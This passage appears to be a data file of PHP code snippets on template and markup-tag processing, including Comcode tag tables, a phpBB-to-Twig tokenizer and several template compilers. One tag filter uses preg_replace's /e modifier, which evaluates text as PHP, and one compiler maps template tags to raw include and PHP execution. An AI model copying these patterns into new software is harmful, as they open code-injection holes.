($is_advanced)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$fields_advanced->attach($field);\n\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$fields->attach($field);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($tag=='attachment')\n\t\t\t\t\t{\n\t\t\t\t\t\tif (get_option('eager_wysiwyg')=='0')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$field=form_input_tick(do_lang_tempcode('COMCODE_TAG_attachment_safe'),do_lang_tempcode('COMCODE_TAG_attachment_safe_DESCRIPTION'),'_safe',$actual_tag=='attachment_safe' || $actual_tag=='attachment2');\n\t\t\t\t\t\t\t$fields_advanced->attach($field);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else\n\t\t{\n\t\t\t$_params=$custom_tag_list[$tag];\n\t\t\t$params=explode(',',$_params['tag_parameters']);\n\t\t\tforeach ($params as $param)\n\t\t\t{\n\t\t\t\t$description=new ocp_tempcode();\n\t\t\t\t$fields->attach(form_input_line(preg_replace('#=.*$#','',ucwords(str_replace('_',' ',$param))),protect_from_escaping($description),preg_replace('#=.*$#','',$param),preg_replace('#^.*=#U','',$param),false));\n\t\t\t}\n\t\t\t$tag_description=new ocp_tempcode();\n\t\t\t$tag_description->attach(is_integer($_params['tag_description'])?get_translated_text($_params['tag_description']):$_params['tag_description']);\n\t\t\t$tag_description->attach(paragraph(is_integer($_params['tag_example'])?get_translated_text($_params['tag_example']):$_params['tag_example']));\n\t\t}\n\n\t\tif ($tag=='attachment')\n\t\t{\n\t\t\tif (get_option('eager_wysiwyg')=='0')\n\t\t\t{\n\t\t\t\t$javascript.=\"document.getElementById('type').onchange=function() { document.getElementById('_safe').checked=(this.options[this.selectedIndex].value=='inline'); };\";\n\t\t\t}\n\n\t\t\tif (($default_embed!='') || (!addon_installed('filedump')))\n\t\t\t{\n\t\t\t\t$hidden->attach(form_input_hidden('tag_contents',$default_embed));\n\t\t\t\t$tag_description=new ocp_tempcode();\n\n\t\t\t\tif (substr($default_embed,0,4)=='new_') $preview=NULL;\n\t\t\t} else\n\t\t\t{\n\t\t\t\t$filedump_url=build_url(array('page'=>'filedump'),get_module_zone('filedump'));\n\t\t\t\t$fields->attach(form_input_tree_list(do_lang_tempcode('FILE'),do_lang_tempcode('COMCODE_TAG_attachment_EMBED_FILE',escape_html($filedump_url->evaluate())),'tag_contents','','choose_filedump_file',array('attachment_ready'=>true),true,'',false));\n\t\t\t}\n\t\t}\n\t\telseif (($tag=='sections') || ($tag=='big_tabs') || ($tag=='tabs') || ($tag=='list'))\n\t\t{\n\t\t\t$fields->attach(form_input_text_multi(do_lang_tempcode('TAG_CONTENTS'),protect_from_escaping(do_lang('COMCODE_TAG_'.$tag.'_EMBED')),'tag_contents',explode(',',$default_embed),2));\n\t\t}\n\t\telseif ((array_key_exists($tag,$TEXTUAL_TAGS)) || ($tag=='menu'))\n\t\t{\n\t\t\tif (($tag=='menu') && ($default_embed==''))\n\t\t\t{\n\t\t\t\t$default_embed='-contracted section\n +expanded section\n page = URL\n page = URL\n+expanded section\n page = URL\n page = URL';\n\t\t\t}\n\t\t\t$descriptiont=do_lang('COMCODE_TAG_'.$tag.'_EMBED');\n\t\t\t$descriptiont=trim(str_replace(do_lang('BLOCK_IND_SUPPORTS_COMCODE'),'',$descriptiont));\n\t\t\t$fields->attach(form_input_text_comcode(do_lang_tempcode('TAG_CONTENTS'),protect_from_escaping(do_lang('COMCODE_TAG_'.$tag.'_EMBED')),'tag_contents',$default_embed,$embed_required,NULL,true));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (!$done_tag_contents)\n\t\t\t{\n\t\t\t\t$descriptiont=do_lang('COMCODE_TAG_'.$tag.'_EMBED',NULL,NULL,NULL,NULL,false);\n\t\t\t\tif (is_null($descriptiont)) $descriptiont='';\n\t\t\t\t$supports_comcode=(strpos($descriptiont,do_lang('BLOCK_IND_SUPPORTS_COMCODE'))!==false);\n\t\t\t\t$descriptiont=trim(str_replace(do_lang('BLOCK_IND_SUPPORTS_COMCODE'),'',$descriptiont));\n\t\t\t\tif ($supports_comcode)\n\t\t\t\t{\n\t\t\t\t\t$fields->attach(form_input_line_comcode(do_lang_tempcode('TAG_CONTENTS'),protect_from_escaping($descriptiont),'tag_contents',$default_embed,$embed_required));\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t$fields->attach(form_input_line(do_lang_tempcode('TAG_CONTENTS'),protect_from_escaping($descriptiont),'tag_contents',$default_embed,$embed_required));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (!$fields_advanced->is_empty())\n\t\t{\n\t\t\t$fields->attach(do_template('FORM_SCREEN_FIELD_SPACER',array('SECTION_HIDDEN'=>true,'TITLE'=>do_lang_tempcode('ADVANCED'))));\n\t\t\t$fields->attach($fields_advanced);\n\t\t}\n\n\t\t$keep=symbol_tempcode('KEEP');\n\t\t$post_url=find_script('comcode_helper').'?type=step3&field_name='.get_param('field_name').$keep->evaluate();\n\t\tif (get_param('utheme','')!='') $post_url.='&utheme='.get_param('utheme');\n\n\t\tif (get_param('save_to_id','')!='')\n\t\t{\n\t\t\t$post_url.='&save_to_id='.urlencode(get_param('save_to_id'));\n\t\t\t$submit_name=do_lang_tempcode('SAVE');\n\n\t\t\t// Allow remove option\n\t\t\t$fields->attach(do_template('FORM_SCREEN_FIELD_SPACER',array('SECTION_HIDDEN'=>false,'TITLE'=>do_lang_tempcode('ACTIONS'),'HELP'=>'')));\n\t\t\t$fields->attach(form_input_tick(do_lang_tempcode('REMOVE'),'','_delete',false));\n\t\t} else\n\t\t{\n\t\t\t$submit_name=do_lang_tempcode('USE');\n\t\t}\n\n\t\t$text=$tag_description->is_empty()?new ocp_tempcode():do_lang_tempcode('COMCODE_HELPER_2',escape_html($tag),$tag_description);\n\t\t$hidden->attach(form_input_hidden('tag',$tag));\n\t\t$content=do_template('FORM_SCREEN',array('_GUID'=>'270058349d048a8be6570bba97c81fa2','TITLE'=>$title,'JAVASCRIPT'=>$javascript,'TARGET'=>'_self','SKIP_VALIDATION'=>true,'FIELDS'=>$fields,'URL'=>$post_url,'TEXT'=>$text,'SUBMIT_NAME'=>$submit_name,'HIDDEN'=>$hidden,'PREVIEW'=>$preview,'THEME'=>$GLOBALS['FORUM_DRIVER']->get_theme()));\n\t}\n\telseif ($type=='step3')\n\t{\n\t\trequire_javascript('javascript_posting');\n\t\trequire_javascript('javascript_editing');\n\n\t\t$field_name=get_param('field_name');\n\t\t$tag=post_param('tag');\n\t\t$title=get_page_title('_COMCODE_HELPER',true,array($tag));\n\n\t\tif (get_option('eager_wysiwyg')=='0')\n\t\t{\n\t\t\tif (($tag=='attachment') && (post_param_integer('_safe',0)==1)) $tag='attachment_safe';\n\t\t}\n\n\t\tlist($comcode,$bparameters)=_get_preview_environment_comcode($tag);\n\t\tif ($tag=='sections' || $tag=='big_tabs' || $tag=='tabs' || $tag=='list')\n\t\t\t$comcode_xml=$bparameters;\n\t\telse\n\t\t\t$comcode_xml='<'.$tag.$bparameters.'>'.post_param('tag_contents','').'</'.$tag.'>';\n\n\t\t$comcode_semihtml=comcode_to_tempcode($comcode,NULL,false,60,NULL,NULL,true,false,false);\n\n\t\t$content=do_template('BLOCK_HELPER_DONE',array('TITLE'=>$title,'FIELD_NAME'=>$field_name,'BLOCK'=>$tag,'COMCODE_XML'=>$comcode_xml,'COMCODE'=>$comcode,'COMCODE_SEMIHTML'=>$comcode_semihtml));\n\t}\n\n\t$content->handle_symbol_preprocessing();\n\t$echo=do_template('POPUP_HTML_WRAP',array('TITLE'=>do_lang_tempcode('COMCODE_HELPER'),'EXTRA_HEAD'=>$GLOBALS['EXTRA_HEAD'],'EXTRA_FOOT'=>$GLOBALS['EXTRA_FOOT'],'CONTENT'=>$content));\n\texit($echo->evaluate());\n\t$echo->handle_symbol_preprocessing();\n\t$echo->evaluate_echo();\n}", "function tag_fn($atts, $content = null, $code){\n\treturn '<'. $code . '>'. do_shortcode($content) .'</'.$code.'>';\n}", "function compile_html () {\n\t //here go the subtags & attributes\n $html = \"\"; \n\t $attributes = \"\";\n\t foreach ($this->attributes as $aid => $avalue) {\n\t foreach ($avalue as $vkey => $value) {\n\t $attributes .= \" {$vkey}=\\\"{$value}\\\"\";\n\t\t}\n\t }\n\t \n\t if ( strpos($this->openingtag, \"[content]\") !== false ) {\n\t $openingtag = str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $openingtag = str_replace (\"[content]\", $this->content, $openingtag );\n\t $html .= $openingtag;\n\t } \n\t else {\n\t $html .= str_replace (\"[attributes]\", $attributes, $this->openingtag);\n\t $html .= $this->content;\n\t }\n\t \n\t foreach ($this->childrenElements as $childid => $element) {\n\t $html .= $element->compile_html();\n\t }\n\t \n\t \n\t if ($this->closingtag != \"\") { \n\t $html .= str_replace (\"[attributes]\", $attributes, $this->closingtag);\n\t }\n\t \n\t return $html;\n }", "private function processTags()\n {\n $dollarNotationPattern = \"~\" . REGEX_DOLLAR_NOTATION . \"~i\";\n $simpleTagPattern = \"~\" . REGEX_SIMPLE_TAG_PATTERN . \"~i\";\n $bodyTagPattern = \"~\" . REGEX_BODY_TAG_PATTERN . \"~is\";\n \n $tags = array();\n preg_match_all($this->REGEX_COMBINED, $this->view, $tags, PREG_SET_ORDER);\n \n foreach($tags as $tag)\n { \n $result = \"\";\n \n $tag = $tag[0];\n \n if (strlen($tag) == 0) continue;\n \n if (preg_match($simpleTagPattern, $tag) || preg_match($bodyTagPattern, $tag))\n {\n $this->handleTag($tag);\n }\n else if (preg_match($dollarNotationPattern, $tag))\n {\n $this->logger->log(Logger::LOG_LEVEL_DEBUG, 'View: processTags', \"Found ExpLang [$tag]\");\n $result = $this->EL_Engine->parse($tag);\n }\n \n if (isset ($result))\n {\n $this->update($tag, $result);\n }\n }\n }", "public function compile(Twig_Compiler $compiler);", "public function tokenize($code, $filename = null)\n\t{\n\t\tif ($code instanceof \\Twig_Source)\n\t\t{\n\t\t\t$source = $code;\n\t\t\t$code = $source->getCode();\n\t\t\t$filename = $source->getName();\n\t\t}\n\n\t\t// Our phpBB tags\n\t\t// Commented out tokens are handled separately from the main replace\n\t\t$phpbb_tags = array(\n\t\t\t/*'BEGIN',\n\t\t\t'BEGINELSE',\n\t\t\t'END',\n\t\t\t'IF',\n\t\t\t'ELSE',\n\t\t\t'ELSEIF',\n\t\t\t'ENDIF',\n\t\t\t'DEFINE',\n\t\t\t'UNDEFINE',*/\n\t\t\t'ENDDEFINE',\n\t\t\t'INCLUDE',\n\t\t\t'INCLUDEPHP',\n\t\t\t'INCLUDEJS',\n\t\t\t'INCLUDECSS',\n\t\t\t'PHP',\n\t\t\t'ENDPHP',\n\t\t\t'EVENT',\n\t\t);\n\n\t\t// Twig tag masks\n\t\t$twig_tags = array(\n\t\t\t'autoescape',\n\t\t\t'endautoescape',\n\t\t\t'if',\n\t\t\t'elseif',\n\t\t\t'else',\n\t\t\t'endif',\n\t\t\t'block',\n\t\t\t'endblock',\n\t\t\t'use',\n\t\t\t'extends',\n\t\t\t'embed',\n\t\t\t'filter',\n\t\t\t'endfilter',\n\t\t\t'flush',\n\t\t\t'for',\n\t\t\t'endfor',\n\t\t\t'macro',\n\t\t\t'endmacro',\n\t\t\t'import',\n\t\t\t'from',\n\t\t\t'sandbox',\n\t\t\t'endsandbox',\n\t\t\t'set',\n\t\t\t'endset',\n\t\t\t'spaceless',\n\t\t\t'endspaceless',\n\t\t\t'verbatim',\n\t\t\t'endverbatim',\n\t\t);\n\n\t\t// Fix tokens that may have inline variables (e.g. <!-- DEFINE $TEST = '{FOO}')\n\t\t$code = $this->strip_surrounding_quotes(array(\n\t\t\t'INCLUDE',\n\t\t\t'INCLUDEPHP',\n\t\t\t'INCLUDEJS',\n\t\t\t'INCLUDECSS',\n\t\t), $code);\n\t\t$code = $this->fix_inline_variable_tokens(array(\n\t\t\t'DEFINE \\$[a-zA-Z0-9_]+ =',\n\t\t\t'INCLUDE',\n\t\t\t'INCLUDEPHP',\n\t\t\t'INCLUDEJS',\n\t\t\t'INCLUDECSS',\n\t\t), $code);\n\t\t$code = $this->add_surrounding_quotes(array(\n\t\t\t'INCLUDE',\n\t\t\t'INCLUDEPHP',\n\t\t\t'INCLUDEJS',\n\t\t\t'INCLUDECSS',\n\t\t), $code);\n\n\t\t// Fix our BEGIN statements\n\t\t$code = $this->fix_begin_tokens($code);\n\n\t\t// Fix our IF tokens\n\t\t$code = $this->fix_if_tokens($code);\n\n\t\t// Fix our DEFINE tokens\n\t\t$code = $this->fix_define_tokens($code);\n\n\t\t// Replace all of our starting tokens, <!-- TOKEN --> with Twig style, {% TOKEN %}\n\t\t// This also strips outer parenthesis, <!-- IF (blah) --> becomes <!-- IF blah -->\n\t\t$code = preg_replace('#<!-- (' . implode('|', $phpbb_tags) . ')(?: (.*?) ?)?-->#', '{% $1 $2 %}', $code);\n\n\t\t// Replace all of our twig masks with Twig code (e.g. <!-- BLOCK .+ --> with {% block $1 %})\n\t\t$code = $this->replace_twig_tag_masks($code, $twig_tags);\n\n\t\t// Replace all of our language variables, {L_VARNAME}, with Twig style, {{ lang('NAME') }}\n\t\t// Appends any filters after lang()\n\t\t$code = preg_replace('#{L_([a-zA-Z0-9_\\.]+)(\\|[^}]+?)?}#', '{{ lang(\\'$1\\')$2 }}', $code);\n\n\t\t// Replace all of our escaped language variables, {LA_VARNAME}, with Twig style, {{ lang('NAME')|escape('js') }}\n\t\t// Appends any filters after lang(), but before escape('js')\n\t\t$code = preg_replace('#{LA_([a-zA-Z0-9_\\.]+)(\\|[^}]+?)?}#', '{{ lang(\\'$1\\')$2|escape(\\'js\\') }}', $code);\n\n\t\t// Replace all of our variables, {VARNAME}, with Twig style, {{ VARNAME }}\n\t\t// Appends any filters\n\t\t$code = preg_replace('#{([a-zA-Z0-9_\\.]+)(\\|[^}]+?)?}#', '{{ $1$2 }}', $code);\n\n\t\t// Tokenize \\Twig_Source instance\n\t\treturn parent::tokenize(new \\Twig_Source($code, $filename));\n\t}", "function initialize() {\n $this->set_openingtag(\"<CODE[attributes]>\");\n $this->set_closingtag(\"</CODE>\");\n }", "public function getTagName ()\n\t{\n\t\treturn 'code';\n\t}", "function init__comcode_text()\n{\n\tif (!defined('CCP_NO_MANS_LAND'))\n\t{\n\t\tdefine('CCP_NO_MANS_LAND',0);\n\t\tdefine('CCP_IN_TAG_NAME',1);\n\t\tdefine('CCP_STARTING_TAG',2);\n\t\tdefine('CCP_IN_TAG_BETWEEN_ATTRIBUTES',3);\n\t\tdefine('CCP_IN_TAG_ATTRIBUTE_NAME',4);\n\t\tdefine('CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_LEFT',5);\n\t\tdefine('CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_RIGHT',6);\n\t\tdefine('CCP_IN_TAG_ATTRIBUTE_VALUE',7);\n\t\tdefine('CCP_IN_TAG_ATTRIBUTE_VALUE_NO_QUOTE',8);\n\n\t\tdefine('MAX_COMCODE_TAG_LOOK_AHEAD_LENGTH',30);\n\t}\n\n\t/*\n\n\tNote: Certain tags are included for compatibility with bbcode only...\n\t sql\n\t codebox\n\t php\n\t color\n\t size\n\t right\n\t left\n\t center\n\t list\n\t * (this is a psuedo tag because it is actually exploded seperately -- because it is very non-standard)\n\t snapback\n\t topic\n\t post\n\t thread\n\t highlight\n\t flash\n\tSome of threse add features, but they don't really fit in IMHO.\n\n\tAlso for compatibility, tags are case-insensitive, email/url parameter and embed can be switched, and quotes can be missed out.\n\n\t*/\n\n\t// In theory, almost any tag is reversable. However these tags can be converted ROBUSTLY and hence the WYSIWYG editor can manipulate them as HTML rather than having to display as Comcode\n\t// If the tag is mapped to a string that provides a regexp to say when it is NOT reversible. Usually this is done for certain parameters.\n\tglobal $REVERSABLE_TAGS;\n\t$REVERSABLE_TAGS=array('surround'=>1,'attachment_safe'=>1,'attachment2'=>1,'cite'=>1,'ins'=>1,'del'=>1,'dfn'=>1,'address'=>1,'abbr'=>1,'acronym'=>1,'list'=>1,'highlight'=>1,'indent'=>1,'b'=>1,'i'=>1,'u'=>1,'s'=>1,'sup'=>1,'sub'=>1,\n\t\t\t\t\t\t\t\t\t\t'title'=>1,'size'=>1,'color'=>1,'font'=>1,'tt'=>1,'img'=>'#\\s(rollover|refresh\\_time)=#','url'=>1,'email'=>1,'upload'=>1,\n\t\t\t\t\t\t\t\t\t\t'semihtml'=>1,'html'=>1,'align'=>1,'left'=>1,'center'=>1,'right'=>1,\n\n\t\t\t\t\t\t\t\t\t\t/*Handled in special way*/\n\t\t\t\t\t\t\t\t\t\t'block'=>1,'contents'=>1,'concepts'=>1,'attachment'=>1,'flash'=>1,'menu'=>1,'reference'=>1,'page'=>1,'exp_thumb'=>1,'exp_ref'=>1,'thumb'=>1,'snapback'=>1,'post'=>1,'thread'=>1,'topic'=>1,'include'=>1,'random'=>1,'jumping'=>1,'shocker'=>1,);\n\t// These are not reversable, but we want them WYSIWYGABLE\n\tglobal $PUREHTML_TAGS;\n\t$PUREHTML_TAGS=array(/*'attachment2'=>1,'attachment_safe'=>'1*/); // Actually: there is some dynamicness even in this ($KEEP and $SESSION in particular -- and we couldn't even have them preserved inside a WYSIWYG-edit)\n\t// The following could conceivably not need to be reversed, as they're pure HTML. However, it's better not to let the WYSIWYG'd HTML get too complex.\n\t// 'tooltip'=>1,'section'=>1,'section_controller'=>1,'big_tab'=>1,'big_tab_controller'=>1,'tabs'=>1,'tab'=>1,'carousel'=>1,'flash'=>1,'hide'=>1,'quote'=>1,'ticker'=>1,'jumping'=>1\n\n\t// Any of these will cause free-for-all blacklist-filtered HTML to be disallowed, even if enabled via the hidden option\n\tglobal $POTENTIALLY_EMPTY_TAGS;\n\t$POTENTIALLY_EMPTY_TAGS=array('concepts'=>1,'staff_note'=>1,'if_in_group'=>1,'no_parse'=>1,'concept'=>1,'include'=>1,'random'=>1,'jumping'=>1);\n\n\t// The contents of these tags is human readable text. It may be altered for reasons of bork, or word-wrapping, or textcode; they have hard white space\n\tglobal $TEXTUAL_TAGS;\n\t$TEXTUAL_TAGS=array('overlay'=>1,'tooltip'=>1,'section'=>1,'surround'=>1,'if_in_group'=>1,'cite'=>1,'ins'=>1,'del'=>1,'dfn'=>1,'address'=>1,'abbr'=>1,'acronym'=>1,'list'=>1,'indent'=>1,'align'=>1,'left'=>1,'center'=>1,'right'=>1,'b'=>1,'i'=>1,'u'=>1,'s'=>1,'sup'=>1,'sub'=>1,'title'=>1,'size'=>1,'color'=>1,'highlight'=>1,'font'=>1,'box'=>1,'internal_table'=>1,'external_table'=>1,'hide'=>1,'quote'=>1,'tab'=>1,'big_tab'=>1);\n\n\t// These tags don't have <br />'s done right after them because they are their own block-end (like a paragraph). They may contain textcode lists and rules\n\tglobal $BLOCK_TAGS;\n\t$BLOCK_TAGS=array('section'=>1,'section_controller'=>1,'tabs'=>1,'tab'=>1,'big_tab'=>1,'big_tab_controller'=>1,'carousel'=>1,'surround'=>1,'if_in_group'=>1,'exp_thumb'=>1,'contents'=>1,'concepts'=>1,'php'=>1,'codebox'=>1,'sql'=>1,'code'=>1,'list'=>1,'indent'=>1,'align'=>1,'left'=>1,'center'=>1,'right'=>1,'staff_note'=>1,'reference'=>1,'menu'=>1,'title'=>1,'box'=>1,'internal_table'=>1,'external_table'=>1,'quote'=>1,'block'=>1,'hide'=>1);\n\n\t// These tags can only be used by privileged members\n\tglobal $DANGEROUS_TAGS;\n\t$DANGEROUS_TAGS=array('overlay'=>1,'if_in_group'=>1,'concepts'=>1,'random'=>1,'include'=>1,'block'=>1,'menu'=>1); // Don't want people putting menus around, plus the captions aren't escaped\n\n\t// These tags have contents that are not interpreted as Comcode (so no HTML tags either), but are formatted for white-space\n\tglobal $CODE_TAGS;\n\t$CODE_TAGS=array(/*'img'=>1 - no, can be a symbol for legacy reasons,*/'flash'=>1,'thumb'=>1,'menu'=>1,'no_parse'=>1,'code'=>1,'sql'=>1,'php'=>1,'tt'=>1,'samp'=>1,'codebox'=>1,'staff_note'=>1,'section_controller'=>1,'big_tab_controller'=>1);\n\n\t// ALSO:\n\t// See $non_text_tags list in comcode_renderer.php\n\t// See non_text_tags in JAVASCRIPT_EDITING.tpl\n\t// See _get_details_comcode_tags function in comcode_add.php\n\n\t// Hehe\n\tglobal $LEET_FILTER;\n\t$LEET_FILTER=NULL;\n\n\tglobal $ALLOWED_ENTITIES;\n//\t$ALLOWED_ENTITIES=array('raquo'=>1,'frac14'=>1,'frac12'=>1,'frac34'=>1,'ndash'=>1,'mdash'=>1,'ldquo'=>1,'rdquo'=>1);\n\t$ALLOWED_ENTITIES=array('OElig'=>1,'oelig'=>1,'Scaron'=>1,'scaron'=>1,'Yuml'=>1,'circ'=>1,'tilde'=>1,'ensp'=>1,'emsp'=>1,'thinsp'=>1,'zwnj'=>1,'zwj'=>1,'lrm'=>1,'rlm'=>1,'ndash'=>1,'mdash'=>1,'lsquo'=>1,'rsquo'=>1,'sbquo'=>1,'ldquo'=>1,'rdquo'=>1,'bdquo'=>1,'dagger'=>1,'Dagger'=>1,'hellip'=>1,'permil'=>1,'lsaquo'=>1,'rsaquo'=>1,'euro'=>1,'Agrave'=>1,'Aacute'=>1,'Acirc'=>1,'Atilde'=>1,'Auml'=>1,'Aring'=>1,'AElig'=>1,'Ccedil'=>1,'Egrave'=>1,'Eacute'=>1,'Ecirc'=>1,'Euml'=>1,'Igrave'=>1,'Iacute'=>1,'Icirc'=>1,'Iuml'=>1,'ETH'=>1,'Ntilde'=>1,'Ograve'=>1,'Oacute'=>1,'Ocirc'=>1,'Otilde'=>1,'Ouml'=>1,'Oslash'=>1,'Ugrave'=>1,'Uacute'=>1,'Ucirc'=>1,'Uuml'=>1,'Yacute'=>1,'THORN'=>1,'szlig'=>1,'agrave'=>1,'aacute'=>1,'acirc'=>1,'atilde'=>1,'auml'=>1,'aring'=>1,'aelig'=>1,'ccedil'=>1,'egrave'=>1,'eacute'=>1,'ecirc'=>1,'euml'=>1,'igrave'=>1,'iacute'=>1,'icirc'=>1,'iuml'=>1,'eth'=>1,'ntilde'=>1,'ograve'=>1,'oacute'=>1,'ocirc'=>1,'otilde'=>1,'ouml'=>1,'oslash'=>1,'ugrave'=>1,'uacute'=>1,'ucirc'=>1,'uuml'=>1,'yacute'=>1,'thorn'=>1,'yuml'=>1,'nbsp'=>1,'iexcl'=>1,'curren'=>1,'cent'=>1,'pound'=>1,'yen'=>1,'brvbar'=>1,'sect'=>1,'uml'=>1,'copy'=>1,'ordf'=>1,'laquo'=>1,'not'=>1,'shy'=>1,'reg'=>1,'trade'=>1,'macr'=>1,'deg'=>1,'plusmn'=>1,'sup2'=>1,'sup3'=>1,'acute'=>1,'micro'=>1,'para'=>1,'middot'=>1,'cedil'=>1,'sup1'=>1,'ordm'=>1,'raquo'=>1,'frac14'=>1,'frac12'=>1,'frac34'=>1,'iquest'=>1,'times'=>1,'divide'=>1,'amp'=>1,'lt'=>1,'gt'=>1,'quot'=>1);\n\n\tglobal $ADVERTISING_BANNERS;\n\t$ADVERTISING_BANNERS=NULL;\n\n\tglobal $NO_LINK_TITLES;\n\t$NO_LINK_TITLES=false;\n}", "function compile($code, $do_not_echo = false, $retvar = '')\n\t{\n\t\t$code = ' ?' . '>' . $this->compile_code('', $code, true) . '<' . '?php' . \"\\n\";\n\t\tif($do_not_echo)\n\t\t{\n\t\t\t$code = \"ob_start();\\n\". $code. \"\\n\\${$retvar} = ob_get_contents();\\nob_end_clean();\\n\";\n\t\t}\n\t\treturn $code;\n\t}", "protected function compile()\n\t{\n\t\t$lexer = new Lexer($this->template->getEnvironment());\n\t\t$stream = $lexer->tokenize(file_get_contents($this->filename), basename($this->filename));\n\n\t\t// unique class based on the filename\n\t\t// @todo fix problem with '-' in classes\n\t\t$class = $this->template->getEnvironment()->getCacheFilename($this->filename);\n\t\t$class = 'S' . substr($class, 0, -8) . '_Template';\n\n\t\t// writer object which contains the parsed PHP code\n\t\t$writer = new Writer();\n\t\t$writer->write(\"<?php\\n\");\n\t\t$writer->write(\"\\n\");\n\t\t$writer->write('namespace Spoon\\Template;' . \"\\n\");\n\t\t$writer->write(\"\\n\");\n\t\t$writer->write('/* ' . $this->filename . ' */' . \"\\n\");\n\t\t$writer->write(\"class $class extends Renderer\\n\");\n\t\t$writer->write(\"{\\n\");\n\t\t$writer->indent();\n\t\t$writer->write('protected function display(array $context)' . \"\\n\");\n\t\t$writer->write(\"{\\n\");\n\t\t$writer->indent();\n\n\t\t$tags = $this->template->getEnvironment()->getTags();\n\n\t\t$token = $stream->getCurrent();\n\t\twhile(!$stream->isEof())\n\t\t{\n\t\t\tswitch($token->getType())\n\t\t\t{\n\t\t\t\tcase Token::TEXT:\n\t\t\t\t\t$text = new TextNode($stream, $this->template->getEnvironment());\n\t\t\t\t\t$text->compile($writer);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase Token::VAR_START:\n\t\t\t\t\t$stream->next();\n\t\t\t\t\t$variable = new VariableNode($stream, $this->template->getEnvironment());\n\t\t\t\t\t$variable->compile($writer);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase Token::BLOCK_START:\n\t\t\t\t\t$token = $stream->next();\n\n\t\t\t\t\t// validate tag existence\n\t\t\t\t\tif(!isset($tags[$token->getValue()]))\n\t\t\t\t\t{\n\t\t\t\t\t\tthrow new SyntaxError(\n\t\t\t\t\t\t\tsprintf('There is no such template tag \"%s\"', $token->getValue()),\n\t\t\t\t\t\t\t$token->getLine(),\n\t\t\t\t\t\t\t$this->filename\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\n\t\t\t\t\t$node = new $tags[$token->getValue()]($stream, $this->template->getEnvironment());\n\t\t\t\t\t$node->compile($writer);\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif($token->getType() !== Token::EOF)\n\t\t\t{\n\t\t\t\t$token = $stream->next();\n\t\t\t}\n\n\t\t\telse break;\n\t\t}\n\n\t\t$writer->outdent();\n\t\t$writer->write(\"}\\n\");\n\t\t$writer->outdent();\n\t\t$writer->write(\"}\\n\");\n\t\treturn $writer->getSource();\n\t}", "function sourcecode_allow_pre_tag( $tags ) {\r\n\t$tags['pre'] = array('lang' => array(), 'lineno' => array());\r\n\treturn $tags;\r\n}", "private function compile($content) { //was display function here\r\n\t\r\n\t\t\t//loop \r\n\t\t\t$content = preg_replace_callback('#{loop[^>]([a-zA-Z0-9\\_\\-\\+\\./]+)(.*?)\\}(.*?){\\/loop\\}#is',array(&$this,'loop_bt'), $content);\r\n\t\t\t//if and her sisters\r\n\t\t\t$content = preg_replace_callback('#{(if|elseif)[^>]([a-zA-Z0-9\\_\\-\\+\\./]+)[^>]([a-zA-Z\\=\\!\\>\\%\\&\\|\\</]{1,3})[^>](.*?)\\}#i',array(&$this,'if_expr'), $content);\r\n\r\n\t\t\t//matchs ..\r\n\t\t\t$matchs\t= array(\r\n\t\t\t\t\t\t\t\t'#{include_tpl[^>](.*?)\\}#i',\r\n\t\t\t\t\t\t\t\t'#{include_script[^>](.*?)\\}#i',\r\n\t\t\t\t\t\t\t\t'#{if[^>]([a-zA-Z0-9\\_\\-\\+\\./]+)\\}#i',\r\n\t\t\t\t\t\t\t\t'#{elseif[^>]([a-zA-Z0-9\\_\\-\\+\\./]+)\\}#i',\r\n\t\t\t\t\t\t\t\t'#{else\\}#i',\r\n\t\t\t\t\t\t\t\t'#{\\/if\\}#i',\r\n\t\t\t\t\t\t\t\t($this->php_compile == 'on') ? '#{php\\}(.*?){\\/php\\}#is' : '##',\r\n\t\t\t\t\t\t\t\t($this->global_vars == 'on') ? '#{([a-zA-Z0-9\\_\\-\\+\\./]+)}#' : '##',\r\n\t\t\t\t\t\t\t\t'#{assets[^>]([a-zA-Z0-9\\_\\-\\+\\./]+)}#is',\r\n\t\t\t\t\t\t\t);\r\n\t\t\t//replaces\t\t\t\t\r\n\t\t\t$replaces = array ( \r\n\t\t\t\t\t\t\t\t\t'<?php $this->include_tpl(\\'\\\\1\\'); ?>',\r\n\t\t\t\t\t\t\t\t\t'<?php include(\\'\\\\1\\'); ?>',\r\n\t\t\t\t\t\t\t\t\t'<?php if($this->vars[\\'\\\\1\\']){ ?>',\r\n\t\t\t\t\t\t\t\t\t'<?php } elseif(\\\\1){?>',\r\n\t\t\t\t\t\t\t\t\t'<?php } else { ?>',\r\n\t\t\t\t\t\t\t\t\t'<?php } ?>',\r\n\t\t\t\t\t\t\t\t\t($this->php_compile == 'on') ? '<?php \\\\1 ?>' : '',\r\n\t\t\t\t\t\t\t\t\t($this->global_vars == 'on') ? '<?php print $this->vars[\\'\\\\1\\'];?>' : '',\r\n\t\t\t\t\t\t\t\t\t'<?php echo $this->assets(\\'\\\\1\\'); ?>',\r\n\t\t\t\t\t\t\t\t);\r\n\t\t//show time ..\r\n\t\t$content = preg_replace($matchs,$replaces, $content);\r\n\t\t\r\n\t\tif($this->global_vars != 'on'){ \r\n\t\t\t$content = preg_replace_callback('#{([a-zA-Z0-9\\_\\-\\+\\./]+)}#',array(&$this,'assign_if_global_off'), $content);\r\n\t\t}\r\n\t\t\r\n\t\treturn $content; \r\n }", "function codeTagFilter($text)\r\n{\r\n\t$pattern = '%(<code>)(.*?)(</code>)%se';\r\n\t$replace = \"'\\\\1'.htmlentities(codeTagFilter('\\\\2')).'\\\\3'\";\r\n\treturn stripslashes(preg_replace($pattern, $replace, $text));\r\n}", "function parse_code($markup)\n\t{\n\t\tglobal 